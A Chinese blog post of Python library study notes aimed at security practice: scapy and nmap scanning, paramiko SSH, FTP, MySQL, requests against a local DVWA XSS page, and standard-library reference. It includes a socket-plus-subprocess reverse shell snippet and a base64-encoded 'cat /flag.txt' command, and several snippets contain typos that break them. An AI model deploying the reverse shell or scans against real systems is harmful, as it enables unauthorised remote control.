Python库学习
2021/12/27 17:37:33
本文主要是介绍Python库学习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
前言
说明:所有库(除开os、time、sys标准库),按照案例实现的方式,对重要代码进行了总结,方便之后进行复习。
-
数据包制作/网络通信/扫描相关模块包含了socket、scapy、nmap库
-
应用程序服务相关模块包含了paramiko、ftplib、pymysql库
-
网络请求模块包含了urllib、urllib2、request库
-
进程/多线程/多进程/队列相关模块包含了subprocess、threading、multiprocessing、queue库
-
命令行解析有argparse库
-
编码解码包含了base64、hashlib库
-
常用标准库包含了time、random、re、sys、os库
据包制作/网络通信/扫描相关模块
socket
功能: socket实现简单服务端客户端通信(C/S)
服务端
# 0x01创建socket对象(AF_INET=IPv4,SOCK_STREAM=流式socket,for TCP) sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 0x02为socket绑定IP端口 sk.bind(('主机地址', 端口)) # 0x03设置监听 sk.listen(5) # 0x04设置堵塞(返回一个通信对象conn 和 一个连接地址 address) conn,address = sk.accept() # 0x05数据交互发送数据 conn.send() # 发送数据 返回值为发送数据字节数量 conn.sendall() # 完整发送数据,返回之前会尝试发送所有数据,成功返回None,失败则抛出异常 # 接收数据 conn.recv(bufsize) # bufsize为接收大小 # 0x06关闭连接 sk.close()
客户端
# 0x01 创建socket对象 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 0x02连接 sk.connect(('主机地址', 端口)) # 0x03数据交互发送数据 conn.send() #发送数据 返回值为发送数据字节数量conn.sendall() #完整发送数据,返回之前会尝试发送所有数据,成功返回None,失败则抛出异常接收数据 conn.recv(bufsize) # bufsize为接收大小 # 0x04关闭 sk.close()
scapy
功能:scapy实现主机发现功能
# 1. 构造arp数据包 arp = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='IP段') # 2. 发送数据包(res 保存探测结果 unres 保存未答复的)(srp 二层发包 具有接收功能) res,unres = srp(arp, timeout=2) # 3. 显示结果(res保存着存活主机的结果集,s是res中的一个头部 ,h也是res中的一个头部,只不过,很多信息保存在h头部里。 h.hwsc 代表目的MAC地址,h.psrc代表目的的IP地址。) for s,h in res: print("MAC:"+h.hwsrc+" "+"IP:"+h.psrc)
功能:scapy实现TCP全连接端口扫描
# 1. 构造tcp端口扫描数据包 tcp = IP(dst='目的IP')/TCP(dport=端口号, flags="S") # 2. 发送数据包(sr1 在三层发送数据包 有接收功能 只接收一个) res = sr1(tcp, timeout=2) # 3 . 判断 接收数据包的TCP头部的flags 含有 SA(端口打开) 或 RA(端口关闭) if res['TCP'].flags == 'SA' 或者 ifres['TCP'].flags =='RA' # 4 . 继续发送数据包 继续完成三次握手 (如果上一步为RA 则直接输出当前端口关闭) res = sr1(IP(dst='目的IP')/TCP(dport=端口号, flags="AR"), timeout=2)
功能:scapy实现ICMP探测主机存活
# 1 . 构造icmp数据包 icmp = IP(dst='目的IP', id=100)/ICMP(seq=100, id=100)/b'hello' # 2 . 发送数据包 res = sr1(icmp, timeout=2) # 3 . 判断主机存活和输出结果判断 if res: # 输出结果 # 输出地址 res['IP'].src # 输出ttl值 res.['IP'].ttl
功能:scapy实现syn半开方式扫描(与TCP扫描区别在于继续发送数据包中的flags 为 R)
# 1. 构造syn端口扫描数据包 syn = IP(dst='目的IP')/TCP(dport=端口号, flags="S") # 2. 发送数据包(sr1 在三层发送数据包 有接收功能 只接收一个) res = sr1(syn, timeout=2) # 3 . 判断 接收数据包的TCP头部的flags 含有 SA(端口打开) 或 RA(端口关闭) if res['TCP'].flags == 'SA' 或者 ifres['TCP'].flags =='RA' # 4 . 继续发送数据包 完成完成三次握手 (如果上一步为RA 则直接输出当前端口关闭) res = sr1(IP(dst='目的IP')/TCP(dport=端口号, flags="R"), timeout=2)
nmap
nmap 扫描参数
主机发现
-sP -sn -sA
端口扫描
-sS -sT -sU
检测应用程序版本和操作系统信息
-sV(应用程序版本) -O(操作系统信息)
脚本使用
--script=vuln(扫描主机是否存在常见漏洞)
功能:nmap实现端口扫描和结果输出(输出 PORT STATE SERVICE VERSION )
# 1 . 创建对象 nm = nmap.PortScanner() # 2 . 填写参数执行扫描(根据参数自定义) nm.scan(hosts='IP/IP段', arguments='-sV -p0-65535') # 3 . 显示结果(返回的对象可以用以下方法进行处理)
PortScanner()类方法
示例
nm.command_line()
1. command_line() 返回扫描方法 2. scaninfo() 返回nmap扫描信息 3. all_hosts() 返回nmap扫描的主机清单
PortScannerHostDict()类方法
示例
nm[‘ip’].hostname()
- hostname() 返回扫描对象主机名
- state( ) 返回扫描对象状态
- all_protocols() 返回扫描的协议
- all_tcp() 返回tcp协议扫描的端口
- tcp(port) 返回扫描tcp协议port端口的信息
- all_udp() 返回udp协议扫描的端口
- udp(port) 返回扫描udp协议port端口的信息
应用程序服务相关模块
paramiko
SSHClient() 类
功能:paramiko库的SSHClient实现ssh连接和执行命令并回显结果
# 1. 创建ssh对象 client = paramiko.SSHClient() # 2 . 设置远程服务器应对策略 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 3 . 设置参数进行连接 client.connect(hostname='主机地址' , port='主机端口', username='主机用户名', password='主机密码') # 4 . 执行命令 stdin,stdout,stderr = clinet.exec_command('netstat -lnt')stdout 为正确输出 stderr 为错误输出 两者同时只有一个变量有值# 5 . 输出结果输出 # 正确结果 if stdout: print(stdout.read().decode('utf-8')) # 输出错误结果 if stderr: print(stderr.read().decode('utf-8'))
功能:SSHClient封装Transport方式实现ssh连接
# 1 . 创建一个通道 transport = paramiko.Transport(('主机地址', 端口号))transport.connect(username='主机用户名', password='主机密码')# 2 . 创建SSHClient对象 ssh = paramiko.SSHClient()ssh._transport = transport # 3 . 执行命令 stdin,stdout,stderr = ssh.exec_command('netstat -lnt') # 4 . 输出结果 # 输出正确结果 if stdout: print(stdout.read().decode('utf-8')) # 输出错误结果 if stderr: print(stderr.read().decode('utf-8'))
SFTPClient() 类功能:SFTPClient封装Transport方式实现文件上传与下载
# 1 . 创建通道 tran = paramiko.Transport(('主机地址', 端口号))tran.connect(username='主机名', password='主机密码') # 2 . 创建SFTP对象 sftp = paramiko.SFTPClient.from_transport(tran) # 3 . 设置路径 localpath = '本地文件路径'remotepath = '远程文件路径' # 4 . 执行上传 sftp.put(localpath, remotepath) # 5 . 执行下载 stfp.get(remorepath, localpath)
常用方法
mkdir() 在服务上创建目录
remove() 在服务器上删除目录
rename() 在服务器上重命名目录
stat() 查看服务器文件目录
listdir() 列出服务器目录下的文件
ftplib功能:实现上传本地文件到ftp服务器
# 创建对象 ftp = ftplib.FTP() # 配置连接 # 设置调试级别,显示详细信息 ftp.set_debuglevel(2) # 连接ftp server ftp.connect('主机地址', '端口号') # 登录 ftp.login('ftp用户名', '密码') # 输出欢迎信息 print(ftp.getwelcome()) # 执行操作 # 设置缓冲区大小 bufsize = 1024 # 设置本地路径 localpath = '本地文件路径' # 设置远程文件路径 remotepath = '远程文件路径' # 打开本地路径文件 file = open(filename, 'rb') # 上传文件 ftp.storbinary("STOR"+remotepath, remotepath, bufsize) # 关闭调试信息 ftp.set_debuglevel(0) # 关闭文件 ftp.quit()
功能:实现从ftp服务器下载文件到本地
# 创建对象ftp = ftplib.FTP()# 配置连接 # 设置调试级别,显示详细信息 ftp.set_debuglevel(2) # 连接ftp server ftp.connect('主机地址', '端口号') # 登录 ftp.login('ftp用户名', '密码') # 输出欢迎信息 print(ftp.getwelcome())# 执行操作 # 设置缓冲区大小 bufsize = 1024 # 设置本地路径 localpath = '本地文件路径' # 设置远程文件路径 remopepath = '远程文件路径' # 打开本地文件路径 file = open(localpath, 'wb').write # 下载文件 ftp.retrbinary("RETR"+remopepathf, file, bufsize) # 关闭调试信息 ftp.set_debuflevel(0) # 关闭文件 ftp.quit()
相关方法
-
ftp.dir() 显示目录下所有目录信息
-
ftp.nlst() 获取目录下的文件
-
ftp.pwd() 返回当前所在位置
-
ftp.cwd(pathname) 设置FTP当前操作路径
-
ftp.mkd(pathname) 新建远程目录
-
ftp.rmd(dirname) 删除远程目录
-
ftp.delete(filename) 删除远程文件
-
ftp.rename(fromname, toname) 将fromname 修改名称为 toname
MySQLdb(只支持到py3.4)、pymysql(支持py3.5+)
(查阅资料后 两个库基本方法均一致 用pymyql演示)
功能:实现数据库连接后进行增删改查
# 创建连接 conn = pymysql.connect('主机地址', 'mysql用户名', '密码', '数据库') # 创建游标 cur = conn.cursor() # 执行 sqlcur.execute(sql语句) # 输出结果 data = cur.fetchone() # 输出一条结果 data = cur.fetchall() # 输出所有结果 # 关闭游标 cur.close() # 关闭连接 conn.close()
功能:pymysql实现数据库DML操作
# 创建连接 conn = pymysql.connect('主机地址', 'myql用户名', '密码', '数据库') # 创建游标 cur = conn.cursor() # 执行 sqlcur.execute("update 表名 set 字段名='新值' where 条件 ") # 关闭游标 cur.close() # 执行DML语句 保存方法 cur.commit() # 关闭连接 conn.close()
相关SQL语句:
增:
增加表
create table 表名 (字段名 字段类型 其他, 字段名 字段类型 其他, ...);
增加字段
alter table 表名 add 字段 类型 其他;
删:
删除表
drop table 表名
删除表中数据
delete from 表名 where 表达式
改:
改表名
rename table 原表名 to 新表名;
改字段
update 表名 set 字段=新值 where 条件
网络请求模块
功能:python2下 urllib+urllib2 进行POST提交数据(dvwa xss 提交数据为例)
# 设置提交url url = 'http://127.0.0.1/DVWA/vulnerabilities/xss_s/' # 设置请求头部 headers = {'cookie': 'cookie值'} # POST提交data 参数 data = {'txtName': '标题', 'mtxMessage': '内容', 'btnSign': 'Sign Guestbook'} # data 进行url编码 data = urllib.urlencode(data) # 构建Request 对象 request = urllib2.Request(url, data, headers) # 请求urlopen() 只接收url, data, timeout 三个参数 resp = urllib2.urlopen(request) # 输出结果 print(resp.read())
功能:python2 下用 urllib2 + re 实现对dvwa(xss)评论内容爬取
# 设置爬取的url url = "http://127.0.0.1/DVWA/vulnerabilities/xss_s/" # 设置头部 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36', 'Cookie': ' security=impossible; PHPSESSID=adcc9b21be4a5689bc5fa145a9f15a25'} # 构造Request对象 request = urllib2.Request(url=url, headers=headers) # 请求urlopen() resp = urllib2.urlopen(request) str1 = resp.read() # 正则匹配内容数据(绿色部分为正则表达式) result = re.findall('<div id="guestbook_comments">Name: ([a-z1-9A-Z]+)<br />Message: ([a-zA-Z0-9]+)<br /></div>', str1) # 输出 for item in result: print('Name:'+item[0]+'Content:'+item[1])
功能:python3下 urllib 进行POST提交数据(dvwa xss 提交数据为例)
(说明:python3下 urllib和urllib2 合并成了一个urllib 这个包分为四个模块 ) (分为:urllib.request urllib.error urllib.parse urllib.robotaparser)
# 设置提交链接 url = ' http://127.0.0.1/DVWA/vulnerabilities/xss_s/' # 设置headers头部 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36','Cookie':'security=low; PHPSESSID=c53448691f29843f229d25fdc0b4871a'} # 构建data数据 data = {'txtName': 'python3', 'mtxMessage': 'connect', 'btnSign': ' Sign Guestbook'} # data进行url编码 data = urllib.parse.urlencode(data) # 构建request对象 request = urllib.request.Request(url, data.encode('utf-8'), headers) # urllib.request.urlopen()提交 resp = urllib.request.urlopen(request)
功能:python3 下 urllib2 + re 实现对dvwa(xss)评论内容爬取
# 设置url url = 'http://127.0.0.1/DVWA/vulnerabilities/xss_s/ ' # 设置头部 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36','Cookie': 'security=low; PHPSESSID=c53448691f29843f229d25fdc0b4871a'} # 构建request request = urllib.request.Request(url=url, headers=headers) # urlopen() 进行请求 resp = urllib.request.urlopen(request) # 用re正则 对返回结果进行处理(转为返回结果文本格式为gbk) str1 = resp.read().decode('gbk') res = re.findall('<div id="guestbook_comments">Name: ([a-z1-9A-Z]+)<br />Message: ([a-zA-Z0-9]+)<br /></div>', str1) # 输出结果 print('Tittle'+'\t'+'Connect')for item in res: print(item[0] + '\t\t' + item[1])
功能:python3下 requests 进行POST提交数据(dvwa xss 提交数据为例)
# 设置提交url地址 url = 'http://127.0.0.1/DVWA/vulnerabilities/xss_s/ ' # 构建headers头部 headers = {'User-Agent': ' Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36','Cookie': ' security=low; PHPSESSID=c53448691f29843f229d25fdc0b4871a'} # 构建需要提交的data数据 data = {'txtName': 'request', 'mtxMessage': '123456789', ' btnSign':' Sign Guestbook'} # 进行提交 resp = request.post(url=url, data=data, headers=headers)
功能:python3 下 request +re 实现dvwa(xss)评论内容爬取
# 设置url链接 url = ' http://127.0.0.1/DVWA/vulnerabilities/xss_s/' # 构建headers头部 headers = {'User-Agent': ' Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36','Cookie': ' security=low; PHPSESSID=c53448691f29843f229d25fdc0b4871a'} # 进行提交 resp = request.get(url=url, headers=headers)str1 = resp.text # 用re正则对返回结果进行处理 res = re.findall('<div id="guestbook_comments">Name: ([a-z1-9A-Z]+)<br />Message: ([a-zA-Z0-9]+)<br /></div>', str1) # 输出 print('Tittle'+'\t'+'Connect')for item in res: print(item[0] + '\t\t' + item[1])
进程/多线程/多进程/队列相关模块
subprocess
功能:subprocess实现执行命令输出结果
(subprocess 有4个方法都可以实现创建子进程功能,四个方法都是对Popen()方法的封装)(分别为:call() check_call() check_output() 以及3.5之后代替前三个方法的run())
run()方法
# 调用子进程(返回CompletedProcess对象) s = subprocess.run(['ipconfig', '-all'], stdout=subprocess.PIPE, shell=True) # 输出结果 print(s.stdout.decode('GBK'))
Popen()方法(支持stdin和stdout)
# 调用子进程(返回subprocess.Popen对象) s = subprocess.Popen('python', stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True) # 输入 s.stdin.write(b'import sys \n') s.stdin.write(b'print(sys.version) \n') s.stdin.close() # 输出 print(s.stdout.read().decode('GBK')) s.stdout.clode()
功能:subprocess+socket实现(linux下)反弹shell功能
# 创建socket对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接到远程主机 s.connect(('主机地址', 端口号)) # 将socket对象的文件描述符复制到系统 0标准输入 1标准输出 2标准错误 #(os.dup2(fd, fd2) 将文件描述符fd复制到fd2 ) # (s.fileno() 获取socket对象的文件描述符) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) # 调用call() 执行指令 p = subprocess.call(['/bin/bash', '-i'])
threading
功能:执行输出任务,创建十条线程,同步执行
# 创建一个需要用多线程完成的任务 def task(num): for _ in range(10): print('[+] this is %s'%(num)) print('[+] %s end'%(num)) # 创建线程池 threads = [] # 创建多线程并启动多线程 for i in range(11): thread = threading.Thread(target=task, args=(i,), name='线程名') threads.append(thread) thread.start() # 设置堵塞 for thread in threads: thread.join()
multiprocessing(方法与threading的常用几个方法类似)
功能:multiprocessing.Process实现多进程
# 创建一个需要用多进程完成的任务 def worker(num): for _ in range(10): print("[+] This is %s"%(num)) print("[+] %s end"%(num)) # 创建进程池 courses = [] # 创建进程并启动多进程 for i in range(10): course = multiprocess.Process(target=worker, args=(i,), name='进程名') courses.append(course) courses.start() # 设置堵塞 for course in courses: course.join()
功能:multiprocessing.dummy实现多线程
# 导包 from multiprocess.dummy import Pool as ThreadPool # 创建一个需要用多线程完成的任务 def worker(num): print('[+] This is %s'%(num)) time.sleep(1) # 开4个 worker, 没有参数时默认是cpu的核心数 pool = ThreadPool(4) # 设置任务所需参数(把列表遍历完,就会结束, 写爬虫的时候可以用来遍历url) nums = [1,2,3,4,5,6,7,8,9,0] # 执行任务(同时执行4个任务,相当于每次遍历4个,遍历完就结束) results = pool.map(worker, nums) # 关闭和阻塞 pool.close() pool.join()
queue
功能:从文件中读取字符保存到队列(queue对象)中,再进行输出
# 设置读取文件路径 filePath = 'file.txt' # 创建队列 q = queue.Queue() # 打开文件并输出到队列 with open(filePath) as f: for line in f: password = line.strip('\n') q.put(password) # 输出队列 while True: if not q.empty(): print(q.get()) else: break
命令行解析模块
argparse
功能:实现创建命令行选项
# 创建对象 parse = argparse.ArgumentParser(description='在-h中显示的解析注释') # 添加参数 #(add_argument(name or flags...[, action][, nargs][, const][, default][, type][, choices][, required][, help][, metavar] [, dest] )) parse.add_argument('-f', '--file', dest='filename', help='set filename path') parse.add_argument('-y', '--yes', action='store_false', help="action default false ") # 解析参数 args = parse.parse_args()
编码解码
base64
功能:实现对字符串的base64编码解码
(说明:因编码只能是bytes 需要进行utf-8编码 输出的时候 需要str 进行转码输出)
# 定义字符串 str1 = "system('cat /flag.txt');" # 字符串utf-8编码 str1 = str1.encode(encoding='utf-8') # base64编码 en_str = base64.b64encode(str1) print("base64编码前:"+ str(str1)) print("base64编码后:" + str(en_str)) # base64解码 de_str = base64.b64decode(en_str) print("base解码前:"+str(en_str)) print("base解码后:"+str(de_str))
hashlib
功能:hashlib实现对字符串的md5加密
# 定义字符串 str1 = 'This is not md5' # 字符串编码 str1 = str1.encode(encoding='utf-8') # 创建md5对象 m = hashlib.md5() # 加密 m.update(str1) str1_md5 = m.hexdigest() # 输出 print("MD5加密前:"+str(str1)) print("MD5加密后:"+str1_md5)
常用标准库
time–时间的访问和转换
(三种方式表示时间:1.timestamp(时间戳) 2. struct_time (格式化的时间字符串) 3. tuple(元组))
时间格式相互转化关系图
-
time()
- 返回当前时间的时间戳
-
localtime([secs])
- 将一个时间戳转换位当前时区的struct_time,secs参数未提供,则以当前时间为准
-
asctime([t])
- 将一个表示时间的元组或者struct_time表示为"Sun Jun 20 23:21:05 2020" 这种形式 不设置参数时,默认将time_localtime() 作为参数
-
mktime(t)
- 将一个struct_time转化为时间戳
-
sleep(secs)
- 线程推迟指定的时间运行,单位为秒
-
gmtime([secs])
- 将一个时间戳转换为UTC时区的struct_time
-
ctime([secs])
- 把一个时间戳转化为time.asctime()"Sun Jun 20 23:21:05 2020"的形式,不设置参数时,默认time.time()为参数
-
strftime(format[, t])
- 把一个代表时间的元组或者struct_time(如由time.localtime()和time.gmtime()返回) 转化为格式化的时间字符串 如t未指定,将传入time.localtime()
-
strptime(string[, format])
- 把一个格式化时间字符串转化为struct_time,与strftime是逆操作
random–生成伪随机数
- random()
- 随机生成0.xxx 的浮点小数
random.random() >>>0.2786970302306403
-
uniform(a, b)
- 随机生成一个指定范围内的浮点数,a是低位,b是高位
random.uniform(1, 10) >>>2.431852539010123 random.uniform(20,100) >>>87.86159294411607
- randint(a, b)
- 随机生成一个指定范围内的整数,a是低位,b是高位
random.randint(1, 20) >>>18 random.randint(20, 50) >>>26
-
choice(squence)
- 随机从squence(表示一个有序类型,不是特定类型,而是泛指一些列类型,list,tuple,字符串(字典和集合都是无序的))中返回一个元素
x = [2,3,4,1,5,6,7,8,9]
random.choice(x)3
x = [2,3,4,1,5,6,7,8,9]
random.choice(x)9
-
sample(sequence, k)
- 随机从指定序列sequence中返回长度k的片段
x = [1,2,3,4,5,6,7,8] random.sample(x, 2) >>>[8,4] x = [1,2,3,4,5,6,7,8] random.sample(x, 4) >>>[1,6,3,5]
- shuffle(x)
- 用于将一个列表打乱 (洗牌)
x = [1,2,3,4,5,6,7,8] random.shuffle(x) >>>[3, 2, 7, 1, 6, 8, 4, 5]
re–正则表达式操作
正则表达式修饰符
(对应flags)
1. re.I 忽略大小写 2. re.L 做本地化识别(locale-aware)匹配 3. re.M 多行匹配,影响^和$ 4. re.S 即为.并且包括换行符在内的任意字符(.不包括换行符) 5. re.U 表示特殊字符集\w,\W,\b,\B,\d,\D,\s,\S 依赖于Unicode字符属性数据库 6. re.x 为了增加可读性,忽略空格和#后面的注释
正则表达式常用模式
模式 | 描述 |
---|---|
^ | 匹配字符串的开头 |
$ | 匹配字符串的末尾 |
[…] | 用来表示一组字符[0-9] [a-z] … |
[0-9] | 匹配任何数字 |
[a-z] | 匹配任何小写字母 |
[A-Z] | 匹配任何大写字母 |
re{n} | 精确匹配n个前面表达式 |
re{n,m} | 匹配n到m次由前面的正则表达式定义的片段 |
a|b | 匹配a或b |
(re) | 对正则表达式分组并记住匹配的文本 |
\w | 匹配字母数字及下划线 |
\W | 匹配非字母数字及下划线 |
\s | 匹配任意空白字符 |
\S | 匹配任意非空字符 |
\d | 匹配任意数字 |
\D | 匹配任意非数字 |
正则表达式常用方法
- re.compile(pattern[, flags])
- 用于编译正则表达式
pattern = re.compile(r'\d+') res = pattern.match('one12twothree34four') >>>none res = pattern.search('one12twothree34four') >>> <_sre.SRE_Match object; span=(2, 4), match='12'> >>>m.group() >>>'12' res = pattern.findall('one12twothree34four') >>>['12', '34']
-
re.search(pattern, string[, flags])
- pattern匹配整个字符串,返回第一个成功的匹配
res = re.search(r'\d+', 'abcdefghijkl123lnm345') res.group() >>>'123'
- re.match(pattern, string[, flags])
- pattern匹配字符串起始位置,起始位置没有,则返回none
res = re.match(r'\d+', 'abcdef123lijklm345') >>>none res = re.match(r'\d+', '123abcdef456') >>>res.group() >>>'123'
- re.findall(patter, string[, flags])
- patter匹配整个字符串的所有字串,返回一个列表
res = re.findall(r'\d+', 'abc123def456lkj789') >>>['123', '456', '789']
sys
sys模块负责程序与python解释器的交互,提供了一系列的函数和变量,用于操控python的运行时环境。
python解释器交互
-
sys.argv[0]
- 一个列表,其中包含了被传递给python脚本的命令行参数
-
sys.platform
- 返回运行平台更详细的信息
-
sys.executable
- 返回python解析器对应的可执行程序所在的绝对路径
-
sys.modules
- 一个字典,包含的是各种以加载的模块的模块名到模块具体位置的映射,可以通过修改这个字典,重新加载某些模块
-
sys.builtin_module_names
- 一个字符串元组,元素均为当前所使用的python解释器内置模块名称
-
sys.path
- 一个字符串组成的列表,各个元素表示的是python搜索模块的路径,在程序期间被初始化
-
sys.stdin
- 一个属性,python标准输入通道,可实现输入重定向
-
sys.stdout
- 一个属性,python标准输出,可以实现输出到屏幕或文件中
-
sys.err
- 一个属性,标准错误输出,输出到屏幕
-
sys.getrecursionlimit()
- 获取python的最大递归数目
-
sys.setrecursionlimit()
- 设置最大递归数目
-
sys.getrefcount()
- 返回python中某个对象被引用的次数
-
sys.getsizeof()
- 返回作用对象所占用的字节数
-
sys.ps1
- 一级提示符 python交互界面的 >>>
-
sys.ps2
- 二级提升符 if xx: 之后的 …
os
os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口
(参考: https://docs.python.org/zh-cn/3.6/library/os.html,https://www.runoob.com/python/python-os-path.html , https://www.runoob.com/python/os-file-methods.html)
文件和目录(操作文件
和目录
、进程
、文件标识符
、路径
)
-
os.access(path, mode)
- 检验权限
-
os.chdir(path)
- 将当前工作目录更改为path
-
os.chflags(path, flags)
- 设置路径的标记为数字标记
-
os.chmod(path, mode)
- 更改路径权限
-
os.chown(path, uid, gid)
- 更改文件所有者 (Unix)
-
os.chroot(path)
- 将当前进程的根目录更改为path (Unix)
-
os.fchdir(fd)
- 将当前工作目录更改为文件描述符fd指向的目录(Unix)
-
os.getcwd()
- 返回表示当前工作目录的字符串
-
os.link(src, dst)
- 创建一个指向src的硬链接,名为dst (Unix、Windows)
-
os.symlink(src, dst)
- 创建一个指向src的软链接,名为dst
-
os.listdir(path)
- 返回一个列表,该列表包含了path中所有文件与目录
-
os.mkdir(path[,mode])
- 创建一个名为path的目录,应用以数字表示的权限模式mode
-
os.makedirs(name[, mode])
- 递归目录创建函数
-
os.mkfifo(path[, mode])
- 创建命名管道,mode为数字
-
os.remove(path)
- 删除文件path
-
os.removedirs(name)
- 递归删除目录
-
os.rmdir(path)
- 删除目录
-
os.rename(src, dst)
- 将文件或目录src重命名为dst
-
os.renames(old, new)
- 递归地对文件或目录进行重命名
-
os.replace(src, dst)
- 将文件或目录src重命名为dst
-
os.stat(path)
- 获取path指定的路径的信息
文件描述符操作( 这些函数
对文件描述符
所引用的I/O 流
进行操作
。)
- os.close(fd)
- 关闭文件描述符fd
-
os.closerange(fd_low, fd_high)
- 关闭fd_low(包括) 到 fd_high(排除)间的文件描述符
-
os.dup(fd)
- 复制一个文件描述符的副本
-
os.dup2(fd, fd2)
- 将文件描述符fd复制到fd2
-
os.fchdir(fd)
- 将当前工作目录更改为文件描述符fd指向的目录
-
os.fchmod(fd, mode)
- 将fd指定文件的权限状态修改为mode
-
os.fchown(fd, uid, gid)
- 分别将fd指定文件的所有者和组ID修改为uid和gid值
-
os.fdatasync(fd)
- 强制将文件描述符fd指定文件写入磁盘
-
os.fdopen(fd)
- 返回打开文件描述符fd对应文件的对象
-
os.fpathconf(fd, name)
- 返回与打开的文件有关的系统配置信息
-
os.fstat(fd)
- 获取文件描述符fd的状态,返回一个stat_result对象
-
os.fstatvfs(fd)
- 返回文件系统的信息,该文件系统是文件描述符fd指向的文件所在的文件系统
-
os.open(path, flags, mode=0o77)
- 打开文件 path,根据 flags 设置各种标志位,并根据 mode 设置其权限模式。
-
os.write(fd, str)
- 将str中的字节串写入文件描述符fd。返回实际写入的字节数。
-
os.read(fd, n)
- 从文件描述符fd中最多读取n个字节。返回一个包含读取字节的字节字符串。
进程参数( 这些函数和数据项提供了操作当前进程
和用户的信息
。)
- os.ctermid()
- 返回与进程控制终端对应的文件名(Unix)
-
os.getlogin()
- 返回通过控制终端进程进行登录的用户名(Unix、Windows)
-
os.uname()
- 返回当前操作系统的识别信息(Unix)
-
os.setgid(gid)
- 设置当前进程的组ID(Unix)
-
os.setsid()
- 使用系统调用 getsid()(Unix)
-
os.setuid(uid)
- 设置当前进程的用户ID(Unix)
-
os.getgid()
- 返回当前进程的实际组ID(Unix)
-
os.getsid(pid)
- 调用系统调用 getsid()(Unix)
-
os.getuid()
- 返回当前进程的真实用户ID(Unix)
-
os.getpid()
- 返回当前进程ID(Unix)
-
os.setegid(egid)
- 设置当前进程的有效组ID (Unix)
-
os.seteuid(euid)
- 设置当前进程的有效用户ID (Unix)
-
os.getegid()
- 返回当前进程的有效组ID(Unix)
-
os.geteuid()
- 返回当前进程的有效用户ID(Unix)
-
os.setpgid(pid, pgrp)
- 使用系统调用setpgid(),将pid对应进程的组ID设置为pgrp(Unix)
-
os.getpgid(pid)
- 根据进程id pid 返回进程的组ID列表(Unix)
进程管理( 函数可用于创建
和管理进程
)
-
os._exit(n)
- 以状态码n(退出原因指令)退出进程,通常用在fork() 出的子进程中使用
-
os.fork()
- Fork出一个子进程(Unix)
-
os.forkpty()
- Fork出一个子进程,使用新的伪终端作为子进程的控制终端(返回一对pid, fd)(Unix)
-
os.kill(pid, sid)
- 将信号sig发送至进程pid sid值为signal.SIGKILL 为终止程序(Unix)
-
os.popen(command[, mode[, bufsize]])
- 从一个command打开一个管道
-
os.system(command)
- 在子shell中执行命令(字符串)
操作路径 os.path ( 该模块在路径名
上实现了一些有用的功能
)
- os.path.abspath(path)
- 返回路径path的绝对路径
- os.path.basename(path)
- 返回路径path的基本名称
- os.path.commonpath()
- os.path.commonprefix(list)
- 返回list(多个路径)中,所有path共有的最长的路径
- os.path.dirname(path)
- 返回文件路径
- os.path.exists(path)
- 路径path存在,返回True,不存在,返回False
- os.path.lexists()
- 路径存在则返回True,路径损坏也返回True
- os.path.getatime(path)
- 返回最近访问时间(浮点型秒数)
- os.path.getmtime(path)
- 返回最近文件修改时间
- os.path.getctime(path)
- 返回path创建时间
- os.path.getsize(path)
- 返回文件大小,如果文件不存在就返回错误
这篇关于Python库学习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-26Python基础编程
- 2024-11-25Python编程基础:变量与类型
- 2024-11-25Python编程基础与实践
- 2024-11-24Python编程基础详解
- 2024-11-21Python编程基础教程
- 2024-11-20Python编程基础与实践
- 2024-11-20Python编程基础与高级应用
- 2024-11-19Python 基础编程教程
- 2024-11-19Python基础入门教程
- 2024-11-17在FastAPI项目中添加一个生产级别的数据库——本地环境搭建指南